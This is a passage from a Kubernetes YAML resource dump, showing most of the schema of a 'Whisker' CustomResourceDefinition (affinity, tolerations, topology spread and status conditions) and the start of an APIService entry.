                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              matchLabelKeys:
                                                description: |-
                                                  MatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                  Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              mismatchLabelKeys:
                                                description: |-
                                                  MismatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                  Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              namespaceSelector:
                                                description: |-
                                                  A label query over the set of namespaces that the term applies to.
                                                  The term is applied to the union of the namespaces selected by this field
                                                  and the ones listed in the namespaces field.
                                                  null selector and null or empty namespaces list means "this pod's namespace".
                                                  An empty selector ({}) matches all namespaces.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              namespaces:
                                                description: |-
                                                  namespaces specifies a static list of namespace names that the term applies to.
                                                  The term is applied to the union of the namespaces listed in this field
                                                  and the ones selected by namespaceSelector.
                                                  null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              topologyKey:
                                                description: |-
                                                  This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                  the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                  whose value of the label with key topologyKey matches that of any node on which any of the
                                                  selected pods is running.
                                                  Empty topologyKey is not allowed.
                                                type: string
                                            required:
                                            - topologyKey
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      type: object
                                    podAntiAffinity:
                                      description: Describes pod anti-affinity scheduling
                                        rules (e.g. avoid putting this pod in the
                                        same node, zone, etc. as some other pod(s)).
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the anti-affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling anti-affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: The weights of all of the
                                              matched WeightedPodAffinityTerm fields
                                              are added per-node to find the most
                                              preferred node(s)
                                            properties:
                                              podAffinityTerm:
                                                description: Required. A pod affinity
                                                  term, associated with the corresponding
                                                  weight.
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              weight:
                                                description: |-
                                                  weight associated with matching the corresponding podAffinityTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - podAffinityTerm
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the anti-affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the anti-affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to a pod label update), the
                                            system may or may not try to eventually evict the pod from its node.
                                            When there are multiple elements, the lists of nodes corresponding to each
                                            podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                          items:
                                            description: |-
                                              Defines a set of pods (namely those matching the labelSelector
                                              relative to the given namespace(s)) that this pod should be
                                              co-located (affinity) or not co-located (anti-affinity) with,
                                              where co-located is defined as running on a node whose value of
                                              the label with key <topologyKey> matches that of any node on which
                                              a pod of the set of pods is running
                                            properties:
                                              labelSelector:
                                                description: |-
                                                  A label query over a set of resources, in this case pods.
                                                  If it's null, this PodAffinityTerm matches with no Pods.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              matchLabelKeys:
                                                description: |-
                                                  MatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                  Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              mismatchLabelKeys:
                                                description: |-
                                                  MismatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                  Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              namespaceSelector:
                                                description: |-
                                                  A label query over the set of namespaces that the term applies to.
                                                  The term is applied to the union of the namespaces selected by this field
                                                  and the ones listed in the namespaces field.
                                                  null selector and null or empty namespaces list means "this pod's namespace".
                                                  An empty selector ({}) matches all namespaces.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              namespaces:
                                                description: |-
                                                  namespaces specifies a static list of namespace names that the term applies to.
                                                  The term is applied to the union of the namespaces listed in this field
                                                  and the ones selected by namespaceSelector.
                                                  null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              topologyKey:
                                                description: |-
                                                  This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                  the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                  whose value of the label with key topologyKey matches that of any node on which any of the
                                                  selected pods is running.
                                                  Empty topologyKey is not allowed.
                                                type: string
                                            required:
                                            - topologyKey
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      type: object
                                  type: object
                                containers:
                                  description: |-
                                    Containers is a list of whisker containers.
                                    If specified, this overrides the specified EGW Deployment containers.
                                    If omitted, the whisker Deployment will use its default values for its containers.
                                  items:
                                    properties:
                                      name:
                                        enum:
                                        - whisker
                                        - whisker-backend
                                        type: string
                                      resources:
                                        description: ResourceRequirements describes
                                          the compute resource requirements.
                                        properties:
                                          claims:
                                            description: |-
                                              Claims lists the names of resources, defined in spec.resourceClaims,
                                              that are used by this container.
                                              This is an alpha field and requires enabling the
                                              DynamicResourceAllocation feature gate.
                                              This field is immutable. It can only be set for containers.
                                            items:
                                              description: ResourceClaim references
                                                one entry in PodSpec.ResourceClaims.
                                              properties:
                                                name:
                                                  description: |-
                                                    Name must match the name of one entry in pod.spec.resourceClaims of
                                                    the Pod where this field is used. It makes that resource available
                                                    inside a container.
                                                  type: string
                                                request:
                                                  description: |-
                                                    Request is the name chosen for a request in the referenced claim.
                                                    If empty, everything from the claim is made available, otherwise
                                                    only the result of this request.
                                                  type: string
                                              required:
                                              - name
                                              type: object
                                            type: array
                                            x-kubernetes-list-map-keys:
                                            - name
                                            x-kubernetes-list-type: map
                                          limits:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Limits describes the maximum amount of compute resources allowed.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                          requests:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Requests describes the minimum amount of compute resources required.
                                              If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                              otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                        type: object
                                    required:
                                    - name
                                    type: object
                                  type: array
                                nodeSelector:
                                  additionalProperties:
                                    type: string
                                  description: NodeSelector gives more control over
                                    the nodes where the whisker pods will run on.
                                  type: object
                                priorityClassName:
                                  description: PriorityClassName allows to specify
                                    a PriorityClass resource to be used.
                                  type: string
                                terminationGracePeriodSeconds:
                                  description: TerminationGracePeriodSeconds defines
                                    the termination grace period of the whisker pods
                                    in seconds.
                                  format: int64
                                  minimum: 0
                                  type: integer
                                tolerations:
                                  description: |-
                                    Tolerations is the whisker pod's tolerations.
                                    If specified, this overrides any tolerations that may be set on the whisker Deployment.
                                    If omitted, the whisker Deployment will use its default value for tolerations.
                                  items:
                                    description: |-
                                      The pod this Toleration is attached to tolerates any taint that matches
                                      the triple <key,value,effect> using the matching operator <operator>.
                                    properties:
                                      effect:
                                        description: |-
                                          Effect indicates the taint effect to match. Empty means match all taint effects.
                                          When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                                        type: string
                                      key:
                                        description: |-
                                          Key is the taint key that the toleration applies to. Empty means match all taint keys.
                                          If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                                        type: string
                                      operator:
                                        description: |-
                                          Operator represents a key's relationship to the value.
                                          Valid operators are Exists and Equal. Defaults to Equal.
                                          Exists is equivalent to wildcard for value, so that a pod can
                                          tolerate all taints of a particular category.
                                        type: string
                                      tolerationSeconds:
                                        description: |-
                                          TolerationSeconds represents the period of time the toleration (which must be
                                          of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                                          it is not set, which means tolerate the taint forever (do not evict). Zero and
                                          negative values will be treated as 0 (evict immediately) by the system.
                                        format: int64
                                        type: integer
                                      value:
                                        description: |-
                                          Value is the taint value the toleration matches to.
                                          If the operator is Exists, the value should be empty, otherwise just a regular string.
                                        type: string
                                    type: object
                                  type: array
                                topologySpreadConstraints:
                                  description: |-
                                    TopologySpreadConstraints describes how a group of pods ought to spread across topology
                                    domains. Scheduler will schedule pods in a way which abides by the constraints.
                                    All topologySpreadConstraints are ANDed.
                                  items:
                                    description: TopologySpreadConstraint specifies
                                      how to spread matching pods among the given
                                      topology.
                                    properties:
                                      labelSelector:
                                        description: |-
                                          LabelSelector is used to find matching pods.
                                          Pods that match this label selector are counted to determine the number of pods
                                          in their corresponding topology domain.
                                        properties:
                                          matchExpressions:
                                            description: matchExpressions is a list
                                              of label selector requirements. The
                                              requirements are ANDed.
                                            items:
                                              description: |-
                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                relates the key and values.
                                              properties:
                                                key:
                                                  description: key is the label key
                                                    that the selector applies to.
                                                  type: string
                                                operator:
                                                  description: |-
                                                    operator represents a key's relationship to a set of values.
                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                  type: string
                                                values:
                                                  description: |-
                                                    values is an array of string values. If the operator is In or NotIn,
                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                    the values array must be empty. This array is replaced during a strategic
                                                    merge patch.
                                                  items:
                                                    type: string
                                                  type: array
                                                  x-kubernetes-list-type: atomic
                                              required:
                                              - key
                                              - operator
                                              type: object
                                            type: array
                                            x-kubernetes-list-type: atomic
                                          matchLabels:
                                            additionalProperties:
                                              type: string
                                            description: |-
                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                            type: object
                                        type: object
                                        x-kubernetes-map-type: atomic
                                      matchLabelKeys:
                                        description: |-
                                          MatchLabelKeys is a set of pod label keys to select the pods over which
                                          spreading will be calculated. The keys are used to lookup values from the
                                          incoming pod labels, those key-value labels are ANDed with labelSelector
                                          to select the group of existing pods over which spreading will be calculated
                                          for the incoming pod. The same key is forbidden to exist in both MatchLabelKeys and LabelSelector.
                                          MatchLabelKeys cannot be set when LabelSelector isn't set.
                                          Keys that don't exist in the incoming pod labels will
                                          be ignored. A null or empty list means only match against labelSelector.
                                          This is a beta field and requires the MatchLabelKeysInPodTopologySpread feature gate to be enabled (enabled by default).
                                        items:
                                          type: string
                                        type: array
                                        x-kubernetes-list-type: atomic
                                      maxSkew:
                                        description: |-
                                          MaxSkew describes the degree to which pods may be unevenly distributed.
                                          When `whenUnsatisfiable=DoNotSchedule`, it is the maximum permitted difference
                                          between the number of matching pods in the target topology and the global minimum.
                                          The global minimum is the minimum number of matching pods in an eligible domain
                                          or zero if the number of eligible domains is less than MinDomains.
                                          For example, in a 3-zone cluster, MaxSkew is set to 1, and pods with the same
                                          labelSelector spread as 2/2/1:
                                          In this case, the global minimum is 1.
                                          | zone1 | zone2 | zone3 |
                                          |  P P  |  P P  |   P   |
                                          - if MaxSkew is 1, incoming pod can only be scheduled to zone3 to become 2/2/2;
                                          scheduling it onto zone1(zone2) would make the ActualSkew(3-1) on zone1(zone2)
                                          violate MaxSkew(1).
                                          - if MaxSkew is 2, incoming pod can be scheduled onto any zone.
                                          When `whenUnsatisfiable=ScheduleAnyway`, it is used to give higher precedence
                                          to topologies that satisfy it.
                                          It's a required field. Default value is 1 and 0 is not allowed.
                                        format: int32
                                        type: integer
                                      minDomains:
                                        description: |-
                                          MinDomains indicates a minimum number of eligible domains.
                                          When the number of eligible domains with matching topology keys is less than minDomains,
                                          Pod Topology Spread treats "global minimum" as 0, and then the calculation of Skew is performed.
                                          And when the number of eligible domains with matching topology keys equals or greater than minDomains,
                                          this value has no effect on scheduling.
                                          As a result, when the number of eligible domains is less than minDomains,
                                          scheduler won't schedule more than maxSkew Pods to those domains.
                                          If value is nil, the constraint behaves as if MinDomains is equal to 1.
                                          Valid values are integers greater than 0.
                                          When value is not nil, WhenUnsatisfiable must be DoNotSchedule.
                                          For example, in a 3-zone cluster, MaxSkew is set to 2, MinDomains is set to 5 and pods with the same
                                          labelSelector spread as 2/2/2:
                                          | zone1 | zone2 | zone3 |
                                          |  P P  |  P P  |  P P  |
                                          The number of domains is less than 5(MinDomains), so "global minimum" is treated as 0.
                                          In this situation, new pod with the same labelSelector cannot be scheduled,
                                          because computed skew will be 3(3 - 0) if new Pod is scheduled to any of the three zones,
                                          it will violate MaxSkew.
                                        format: int32
                                        type: integer
                                      nodeAffinityPolicy:
                                        description: |-
                                          NodeAffinityPolicy indicates how we will treat Pod's nodeAffinity/nodeSelector
                                          when calculating pod topology spread skew. Options are:
                                          - Honor: only nodes matching nodeAffinity/nodeSelector are included in the calculations.
                                          - Ignore: nodeAffinity/nodeSelector are ignored. All nodes are included in the calculations.
                                          If this value is nil, the behavior is equivalent to the Honor policy.
                                          This is a beta-level feature default enabled by the NodeInclusionPolicyInPodTopologySpread feature flag.
                                        type: string
                                      nodeTaintsPolicy:
                                        description: |-
                                          NodeTaintsPolicy indicates how we will treat node taints when calculating
                                          pod topology spread skew. Options are:
                                          - Honor: nodes without taints, along with tainted nodes for which the incoming pod
                                          has a toleration, are included.
                                          - Ignore: node taints are ignored. All nodes are included.
                                          If this value is nil, the behavior is equivalent to the Ignore policy.
                                          This is a beta-level feature default enabled by the NodeInclusionPolicyInPodTopologySpread feature flag.
                                        type: string
                                      topologyKey:
                                        description: |-
                                          TopologyKey is the key of node labels. Nodes that have a label with this key
                                          and identical values are considered to be in the same topology.
                                          We consider each <key, value> as a "bucket", and try to put balanced number
                                          of pods into each bucket.
                                          We define a domain as a particular instance of a topology.
                                          Also, we define an eligible domain as a domain whose nodes meet the requirements of
                                          nodeAffinityPolicy and nodeTaintsPolicy.
                                          e.g. If TopologyKey is "kubernetes.io/hostname", each Node is a domain of that topology.
                                          And, if TopologyKey is "topology.kubernetes.io/zone", each zone is a domain of that topology.
                                          It's a required field.
                                        type: string
                                      whenUnsatisfiable:
                                        description: |-
                                          WhenUnsatisfiable indicates how to deal with a pod if it doesn't satisfy
                                          the spread constraint.
                                          - DoNotSchedule (default) tells the scheduler not to schedule it.
                                          - ScheduleAnyway tells the scheduler to schedule the pod in any location,
                                            but giving higher precedence to topologies that would help reduce the
                                            skew.
                                          A constraint is considered "Unsatisfiable" for an incoming pod
                                          if and only if every possible node assignment for that pod would violate
                                          "MaxSkew" on some topology.
                                          For example, in a 3-zone cluster, MaxSkew is set to 1, and pods with the same
                                          labelSelector spread as 3/1/1:
                                          | zone1 | zone2 | zone3 |
                                          | P P P |   P   |   P   |
                                          If WhenUnsatisfiable is set to DoNotSchedule, incoming pod can only be scheduled
                                          to zone2(zone3) to become 3/2/1(3/1/2) as ActualSkew(2-1) on zone2(zone3) satisfies
                                          MaxSkew(1). In other words, the cluster can still be imbalanced, but scheduler
                                          won't make it *more* imbalanced.
                                          It's a required field.
                                        type: string
                                    required:
                                    - maxSkew
                                    - topologyKey
                                    - whenUnsatisfiable
                                    type: object
                                  type: array
                              type: object
                          type: object
                      type: object
                  type: object
              type: object
            status:
              description: WhiskerStatus defines the observed state of Whisker
              properties:
                conditions:
                  description: |-
                    Conditions represents the latest observed set of conditions for the component. A component may be one or more of
                    Ready, Progressing, Degraded or other customer types.
                  items:
                    description: Condition contains details for one aspect of the
                      current state of this API Resource.
                    properties:
                      lastTransitionTime:
                        description: |-
                          lastTransitionTime is the last time the condition transitioned from one status to another.
                          This should be when the underlying condition changed.  If that is not known, then using the time when the API field changed is acceptable.
                        format: date-time
                        type: string
                      message:
                        description: |-
                          message is a human readable message indicating details about the transition.
                          This may be an empty string.
                        maxLength: 32768
                        type: string
                      observedGeneration:
                        description: |-
                          observedGeneration represents the .metadata.generation that the condition was set based upon.
                          For instance, if .metadata.generation is currently 12, but the .status.conditions[x].observedGeneration is 9, the condition is out of date
                          with respect to the current state of the instance.
                        format: int64
                        minimum: 0
                        type: integer
                      reason:
                        description: |-
                          reason contains a programmatic identifier indicating the reason for the condition's last transition.
                          Producers of specific condition types may define expected values and meanings for this field,
                          and whether the values are considered a guaranteed API.
                          The value should be a CamelCase string.
                          This field may not be empty.
                        maxLength: 1024
                        minLength: 1
                        pattern: ^[A-Za-z]([A-Za-z0-9_,:]*[A-Za-z0-9_])?$
                        type: string
                      status:
                        description: status of the condition, one of True, False,
                          Unknown.
                        enum:
                        - "True"
                        - "False"
                        - Unknown
                        type: string
                      type:
                        description: type of condition in CamelCase or in foo.example.com/CamelCase.
                        maxLength: 316
                        pattern: ^([a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*/)?(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])$
                        type: string
                    required:
                    - lastTransitionTime
                    - message
                    - reason
                    - status
                    - type
                    type: object
                  type: array
              type: object
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      kind: Whisker
      listKind: WhiskerList
      plural: whiskers
      singular: whisker
    conditions:
    - lastTransitionTime: "2025-10-19T16:10:31Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-10-19T16:10:32Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiregistration.k8s.io/v1
  kind: APIService
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      kube-aggregator.kubernetes.io/automanaged: onstart
    name: v1.
    resourceVersion: "11"
